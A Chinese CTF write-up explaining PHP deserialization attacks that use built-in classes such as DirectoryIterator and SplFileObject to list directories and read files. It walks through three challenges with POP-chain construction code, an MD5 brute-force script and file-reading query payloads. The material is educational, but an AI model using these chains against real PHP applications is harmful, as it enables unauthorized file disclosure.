CTF题型 php反序列化进阶(1) php原生类 例题和总结

news2024/11/27 2:21:07

CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结

文章目录

  • CTF题型 php反序列化进阶(1) php原生文件操作类 例题和总结
    • 特征
    • 原理 我们可以通过PHP自身本来就有的类来进行文件操作
      • 扫描目录的三个类
      • DirectoryIterator(支持glob://协议)
      • FilesystemIterator(继承自1,同上)
      • GlobIterator(相等于自带glob协议的DirectoryIterator)
      • 读取文件
    • 1.2023 安洵杯 easy_unserialize
      • 问题1 如何绕过双MD5
      • 问题2 保证条件判断为真
      • 问题3 绕过urlencode编码和base64编码相同
      • array_walk函数理解
      • $this 可以访问内部所有属性
    • 2.[GDOUCTF 2023]反方向的钟
      • 注意一点SplFileObject 默认 读一行 配合用 php://filter使用
    • 3.[ciscn国赛初赛 2021 easy_source]

特征

在php反序列化中 没有直接的利用点可以直接rce

而是echo new $a($b);

echo 可以触发类的 toString方法

new 新建类

a ( a( a(b) 类和参数可控

原理 我们可以通过PHP自身本来就有的类来进行文件操作

扫描目录的三个类

  1. DirectoryIterator(支持glob://协议)

    DirectoryIterator(glob://*flag*)

  2. FilesystemIterator(继承自1,同上)

  3. GlobIterator(相等于自带glob协议的DirectoryIterator)

存在__toString,可以获取符合要求的第一个文件名

一般题目会用 foreach 遍历读取每一行

读取文件

SplFileObject(通过echo触发SplFileObject中的**__toString()**方法)

注意几点

  1. 不支持glob协议必须先通过扫描目录拿完整文件名

  2. 仅读取一行内容(完整内容配合php://filter)

  3. 一般题目会用 foreach 遍历读取每一行输出flag内容

1.2023 安洵杯 easy_unserialize

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/easy_unserialize

源码分析写在注释里了

注意一下比较冷门的考点

function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1) 4.调用__isset方法
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;//赋值
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()//8.调用__toString方法
    {
        $new = $this->l1;
        return $new();//将类作为函数调用
    }

    public function __get($arg1)//6.调用get方法
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)//3.触发 __unset方法
    {
        if(md5(md5($this->md5)) == 666)//判断双md5为666
        {
            if(empty($this->lll3->lll3)){//调用empty
                echo "There is noting"; 
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)//7.调用_call方法
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;//以字符显示
        }
    }
    public function __set($arg1,$arg2)//5.调用__set方法
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()//2.触发__wakeup魔术方法
    {
        unset($this->y1->y1); //触发unset
    }
}
class Flag{
    public function __invoke()//9.触发__invoke
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($make, $colo) {
            $three = new $colo($make);//特征
            foreach($three as $tmp){//遍历对象
            echo ($tmp.'<br>');
            }  
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);  //1.开始反序列化
}else{
    highlight_file(__FILE__);
}
?>

POP链

YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类

问题1 如何绕过双MD5

if(md5(md5($this->md5)) == 666)

编写脚本碰撞

发现单纯字母数字 md5(md5(结果))没有

因为这里是md5(md5($this->md5)) == 666弱比较

保证 666后第一个字符为任意字母,其他任意

import hashlib
import itertools

def brute_force_md5():
    # 使用字母表和数字进行字符的尝试
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
    # 迭代尝试所有可能的字符组合
    for text in itertools.product(charset, repeat=3):
        text = ''.join(text)
        hash1 = hashlib.md5(text.encode()).hexdigest()
        hash2 = hashlib.md5(hash1.encode()).hexdigest()
        # 检查是否满足条件
        if hash2.startswith("666") and hash2[3].isalpha():
            # 输出满足条件的字符串
            print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")
            break

# 运行爆破
brute_force_md5()

image-20240314201341794

ag2

问题2 保证条件判断为真

      if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)

随便穿个字符 只要不为0即可

出题人想考 变量操作符 ${##}可以代替1

image-20240314205856669

问题3 绕过urlencode编码和base64编码相同

if(urldecode($this->arg1)===base64_decode($this->arg1))

1.数组绕过 []

2.传空值''

这里构造pop链时有一个细节

php>7后对 public,private不敏感

直接将private属性的成员变量替换为public

(PHP 4, PHP 5, PHP 7, PHP 8)

array_walk函数理解

— 使用用户自定义函数对数组中的每个元素做回调处理

参数 
1.array
输入的数组。 
2.callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。 

这里的array_walk($this, function ($make, $colo) {

$this 可以访问内部所有属性

包括原生类 直接作为属性 即可作为数组 传递给匿名函数function ($make, $colo)

构造pop链 遍历 / 目录

//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->DirectoryIterator='/';
echo(serialize($you));

可以拿到flag的名称 FfffLlllLaAaaggGgGg

image-20240314213000001

读取flag


//YOU::__wakeup->Luck::__unset->Good::__isset->TO::set->Luck::__get->To::__call->Luck::__toString->Flag::__invoke-->php文件操作原生类
$you=new You();
$you->y1=new Luck();
$you->y1->md5='ag2';
$you->y1->lll3=new Good();
$you->y1->lll3->gg2='${##}';
$you->y1->lll3->g1=new To();
$you->y1->lll3->g1->tt2=new Luck();
$you->y1->lll3->g1->tt2->ll2=new To();
$you->y1->lll3->g1->tt2->ll2->arg1='';
$you->y1->lll3->g1->tt2->ll2->t1=new Luck();
$you->y1->lll3->g1->tt2->ll2->t1->l1=new Flag();
$you->y1->lll3->g1->tt2->ll2->t1->l1->SplFileObject='/FfffLlllLaAaaggGgGg';
echo(serialize($you));

image-20240314213241346

可以拿到flag

2.[GDOUCTF 2023]反方向的钟

复现环境:https://www.nssctf.cn/problem/3723

源码 这题直接flag位置都告诉我们了

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

简单的pop链

$school=new school();
$school->department=new classroom();
$school->department->name='one class';
$school->department->leader=new teacher('ing','department');
$school->headmaster='ong';
echo(base64_encode(serialize($school)));

注意一点SplFileObject 默认 读一行 配合用 php://filter使用

image-20240314214835814

image-20240314215022653

拿到flag

3.[ciscn国赛初赛 2021 easy_source]

没找到环境 有源码 本地搭建

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}
//class类实现 递增 $c的值
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

这题可以用原生类SplFileObject来做new $rc($ra, $rb);

但是我们要考虑第二个参数是什么

我们可以查阅php官方文档

image-20240314220454578

构造函数 第二的参数必须可以是’r’

$method->$rd() 考虑SplFileObject 的什么方法可以读文件

image-20240314220534651

发现SplFileObject存在 fpassthru静态方法 输出文件 内容

?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru

即可在源代码中发现flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1530713.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【黑马头条】-day01环境搭建SpringBoot-Cloud-Nacos

文章目录 1 环境搭建及简介2 项目介绍2.1 应用2.2 业务说明2.3 技术栈2.4 收获2.5 大纲 3 Nacos准备3.1 安装Nacos 4 初始工程搭建4.1 环境准备4.1.1 导入项目4.1.2 设置本地仓库4.1.3 设置项目编码格式 4.2 全局异常4.2.1 自动装配 4.3 工程主体结构 5 登录功能开发5.1 需求分…

关于《动手学深度学习》找不到d2l.......和#@save的思考

在运行书上的代码时&#xff0c;会出现报错。 最后通过简单粗暴的方法解决了这个问题&#xff0c;在此记录一下。 一、#save是什么 # 表明是注释&#xff0c;所以这句话对代码没有影响&#xff0c;只是一个“标识”&#xff0c;表明在d2l文档中&#xff0c;作者已经写好了这…

实用翻译英语的Chrome插件

工作中&#xff0c;时常需要阅读网页技术文档&#xff0c;阅读英语技术论文&#xff0c;对翻译的需求很迫切&#xff1b; Chrome默认的翻译比较呆板&#xff1b; 这边推介更加智能的双语翻译&#xff0c;同时支持pdf翻译&#xff0c;下载地址&#xff1a; https://chrome.goo…

设计模式之简单工厂模式详解

简单工厂模式 工厂模式&#xff1a;工厂方法模式&#xff1b; 低阶&#xff1a;简单工厂模式&#xff1b; 高阶&#xff1a;抽象工厂模式&#xff1b; 1&#xff09;概述 定义一个工厂类&#xff0c;根据参数的不同返回不同类的实例&#xff0c;被创建的实例通常都具有共同…

设备安全与设备管理系统的融合发展之路

随着企业运营的不断复杂化和市场竞争的加剧&#xff0c;设备安全与设备管理系统的融合发展已经成为企业追求卓越运营、实现持续发展的必经之路。这种融合不仅提升了设备的安全性&#xff0c;更提高了设备管理的效率与精准度&#xff0c;为企业的整体运营奠定了坚实基础。 一、设…

华为机试真题练习汇总(81~90)

华为机试真题练习汇总&#xff08;81~90&#xff09; 华为机试真题练习汇总&#xff08;81~90&#xff09;HJ81 字符串字符匹配** HJ82 将真分数分解为埃及分数HJ83 二维数组操作HJ84 统计大写字母个数HJ85 最长回文子串HJ86 求最大连续bit数HJ87 密码强度等级* HJ88 扑克牌大小…

Go语言实战:深入掌握标准库flag的强大用法

Go语言实战&#xff1a;深入掌握标准库flag的强大用法 引言flag库基础命令行参数的基本概念使用flag库定义和解析命令行参数处理非选项命令行参数小结 高级用法自定义Flag的解析命令行参数的分组和嵌套小结 实战技巧组织复杂命令行应用的参数错误处理和用户帮助信息调试命令行应…

PHP 服务实现监控可观测性最佳实践

前言 本次实践主要是介绍 PHP 服务通过无侵入的方式接入观测云进行全面的可观测。 环境信息 主机环境&#xff1a;CentOS 7.8PHP&#xff1a;7.4.33MySQL&#xff1a;5.7 接入方案 准备工作 安装 DataKit # 需要把token 改成观测云空间的实际token值&#xff08;可在观测…

G*T、文心一言微信 AI 机器人的时代已经来临!

前言 在当今的科技时代&#xff0c;人工智能&#xff08;AI&#xff09;的发展速度可谓是日新月异。其中&#xff0c;自然语言处理&#xff08;NLP&#xff09;领域的模型&#xff0c;如 G*T、文心一言等&#xff0c;已经成为了 AI 领域的主流。不仅如此&#xff0c;将 AI 接入…

铸铁平台制造工艺有多精细你知道吗——河北北重

铸铁平台的制造工艺要求相对较高&#xff0c;需要经过以下精细工艺&#xff1a; 材料选择&#xff1a;铸铁平台通常使用灰口铸铁&#xff0c;其具有良好的耐磨性和强度。材料的选择要考虑到使用环境和平台的功能需求。 模具制造&#xff1a;根据设计要求制作模具&#xff0c;模…

算法---二分查找练习-3(山脉数组的顶峰索引)

山脉数组的顶峰索引 1. 题目解析2. 讲解算法原理3. 编写代码 1. 题目解析 题目地址&#xff1a;点这里 2. 讲解算法原理 初始化两个指针 left 和 right&#xff0c;分别指向数组的起始位置和结束位置。 进入循环&#xff0c;循环条件为 left < right。 在每次循环中&…

全平台(淘宝1688京东)商品详情API接口(item_get-获得全平台商品详情接口)

全平台商品详情API接口&#xff08;item_get-获得全平台商品详情接口&#xff09;&#xff0c;全平台API接口可获取到商品链接&#xff0c;商品ID&#xff0c;商品标题&#xff0c;商品价格&#xff0c;品牌名称&#xff0c;店铺昵称&#xff0c;sku规格&#xff0c;sku属性&am…

自注意力机制的理解

一、自注意力要解决什么问题 循环神经网络由于信息传递的容量以及梯度消失问题&#xff0c;只能建立短距离依赖关系。为了建立长距离的依赖关系&#xff0c;可以增加网络的层数或者使用全连接网络。但是全连接网络无法处理变长的输入序列&#xff0c;另外&#xff0c;不同的输…

【Android】【Bluetooth Stack】蓝牙电话本协议之同步通讯录分析(超详细)

1. 精讲蓝牙协议栈&#xff08;Bluetooth Stack&#xff09;&#xff1a;SPP/A2DP/AVRCP/HFP/PBAP/IAP2/HID/MAP/OPP/PAN/GATTC/GATTS/HOGP等协议理论 2. 欢迎大家关注和订阅&#xff0c;【蓝牙协议栈】专栏会持续更新中.....敬请期待&#xff01; 目录 1. 协议简述 1.1 PBAP…

【十二】【算法分析与设计】滑动窗口(3)

30. 串联所有单词的子串 给定一个字符串 s 和一个字符串数组 words。 words 中所有字符串 长度相同。 s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串。 例如&#xff0c;如果 words ["ab","cd","ef"]&#xff…

【Godot4.2】 基于SurfaceTool的3D网格生成与体素网格探索

概述 说明&#xff1a;本文基础内容写于2023年6月&#xff0c;由三五篇文章汇总而成&#xff0c;因为当时写的比较潦草&#xff0c;过去时间也比较久了&#xff0c;我自己都得重新阅读和理解一番&#xff0c;才能知道自己说了什么&#xff0c;才有可能重新优化整理。 因为我对…

使用WordPress在US Domain Center上建立摄影网站的详细教程

第一部分&#xff1a;介绍摄影网站 摄影网站是摄影师展示作品、分享经验、提供服务的在线平台。在摄影网站上&#xff0c;摄影师可以展示自己的摄影作品、发布摄影日志、接受客户预约等。使用WordPress搭建摄影网站具有灵活性和可扩展性&#xff0c;可以通过选择适合的主题和插…

视频转文字怎么转?这几个转换方法收藏一下

视频转文字怎么转&#xff1f;在信息爆炸的时代&#xff0c;视频内容日益丰富&#xff0c;但如何快速、准确地提取视频中的关键信息却成为了一个挑战。本文将为你详细介绍视频转文字的方法&#xff0c;让你轻松提取视频内容&#xff0c;提高信息获取效率。 方法一&#xff1a;清…

【赠书第21期】游戏力:竞技游戏设计实战教程

文章目录 前言 1 竞技游戏设计的核心要素 1.1 游戏机制 1.2 角色与技能 1.3 地图与环境 2 竞技游戏设计的策略与方法 2.1 以玩家为中心 2.2 不断迭代与优化 2.3 营造竞技氛围与社区文化 3 实战案例分析 4 结语 5 推荐图书 6 粉丝福利 前言 在数字化时代的浪潮中&…

IO多分复用

#include<myhead.h> #define SER_PORT 8888 //服务器端口号 #define SER_IP "192.168.65.131" //服务器IPint main(int argc, const char *argv[]) {//1、创建一个套接字int sfd -1;sfd socket(AF_INET, SOCK_STREAM, 0); //参数1&#xff1a;…